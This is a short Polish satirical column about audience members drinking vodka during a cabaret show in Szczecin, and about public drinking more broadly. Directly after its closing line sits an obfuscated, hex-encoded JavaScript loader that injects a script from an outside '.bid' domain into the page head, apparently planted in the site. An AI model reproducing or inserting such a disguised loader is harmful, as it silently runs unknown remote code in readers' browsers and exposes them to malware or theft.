Ruda na salonach

Chciałam się pośmiać, więc się pośmiałam. I to jak bardzo! Wesoło było na Szpaku. Jednak najbardziej się śmiałam wtedy, kiedy zobaczyłam Panią w rzędzie przede mną. Myślałam, że to może część widowiska, że kabareciarze zaczęli trochę wcześniej! Owa pani, w bardzo już średnim wieku, wyjęła buteleczkę Gosi Żołądkowej i szybko ugasiła swoje wielkie pragnienie. Jej towarzysze widocznie też byli bardzo spragnieni, bo mała butelka – jakże zacnego trunku – skończyła się w oka mgnieniu.

Polak nie wielbłąd, pić musi… Co z tego, że w Pleciudze? Jak w autobusie można w  czerwonym  piwie się rozsmakować, to dlaczego nie w Pleciudze, czy w kinie – dolewając whiskey do coli? Przecież to ABSOLUTNIE nikomu nie przeszkadza… Przecież jak Polakowi chce się pić, to nie będzie wody sączył! Wiadomo, że ta nie gasi pragnienia… Zima się zbliża, coraz chłodniej, więc trzeba myśleć o dobrej rozgrzewce. Każdy wie, że nic tak dobrze nie rozgrzewa, jak wino, oczywiście to najwytrawniejsze z wytrawnych. Jak to tak przedstawienia bez wkładki oglądać? Jak to tak samą colę w kinie spożywać? Może jeszcze z filmu tak na trzeźwo się śmiać? Nie do pomyślenia i nie do zrobienia nawet.

Ruda oficjalnie wkroczyła na salony! Tak jak popcorn w kinie, tak wódeczka w teatrze. Tak jak drink w pubie, tak piwo w autobusie. A może do każdego biletu na wydarzenia kulturalne dodać kupon do baru? A w komunikacji miejskiej, oprócz biletomatów, zainstalować alkomaty? Ten, kto pod wpływem, jedzie za darmo! W autobusie to taki Pan/Pani pewnie jakiś żarcik rzucą! Wiadomo, że im bardziej do śmiechu, niż nam. Niejeden amator lokalnych trunków będzie wniebowzięty.

Zespoły speców od marketingu dwoją się i troją, ażeby przekonać mieszkańców do naszego miasta,…a przecież rozwiązania znajdują się w zasięgu ręki. Trzeba brać przykład z ludu. On wie, czego najbardziej potrzebuje.  Szczecinianie z pewnością docenią nowe pomysły. I już nikt nie powie, że w mieście nic się nie dzieje… var _0x29b4=[„\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

O autorze